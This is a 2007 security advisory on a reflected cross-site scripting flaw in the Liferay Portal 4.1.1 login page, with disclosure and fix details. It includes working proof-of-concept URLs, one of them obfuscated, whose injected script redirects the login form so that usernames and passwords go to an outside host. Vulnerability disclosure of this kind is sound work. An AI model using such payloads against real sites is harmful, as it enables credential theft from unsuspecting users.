XSS on Liferay Portal Enterprise 4.1.1 login page ('login' parameter)

2007.11.20
Credit: Adrian Pastor
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Date Found: 6th March 2007 Vendor informed: 26th June 2007 Description: Liferay Portal login page is vulnerable to Cross-Site Scripting within the "login" field processed by the "/c/portal/login" server-side script. Consequences: An attacker may be able to cause the execution of malicious script code in the browser of a user who visits a specially-crafted Liferay Portal URL, or visits a page that submits a request to such URL. Such code would run within the security context of the target domain. This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: usernames and passwords) to unauthorised third parties. Proof of concept (PoC): The provided XSS PoC URLs overwrite Liferay Portal login form's 'action' attribute. Thus, when the victim user clicks on the "Sign In" button, the credentials (username/password) are sent to a third-party site (procheckup.com in this case). http://target.tld/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.ac tion=%22http://procheckup.com%22%3C/script%3E%3Ca%20b=%22c http://target.tld/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.ac tion=%22http%3a%2f%2f%70roch%65cku%70%2e%63om%22%3C/script%3E%3Ca%20b=%2 2c Injected payload: "><script>document.fm1.action="http://procheckup.com"</script><a b="c What's (partially) returned by the server: <input class="form-text" name="login" style="width: 150px;" type="text" value=""><script>document.fm1.action="http://procheckup.com"</script><a b="c"> Note: the victim user does not need to be authenticated for this vulnerability to be exploitable. Successfully tested on: Liferay-Portal: Liferay Portal Enterprise 4.1.1 (Cowper / Build 3101 / August 14, 2006) (other versions of Liferay Portal might also be affected) Severity: Medium/High Author: Adrian Pastor [adrian.pastor [at] procheckup.com] from ProCheckUp Ltd (www.procheckup.com) ProCheckUp thanks Liferay for fixing this vulnerability so promptly. References: http://www.liferay.com/ http://www.procheckup.com/Vulnerability_2007.php Fix: The issue was fixed a while back, but re-surfaced in 4.1.0 and 4.1.1. This issue has been fixed on version 4.1.3 and onwards.


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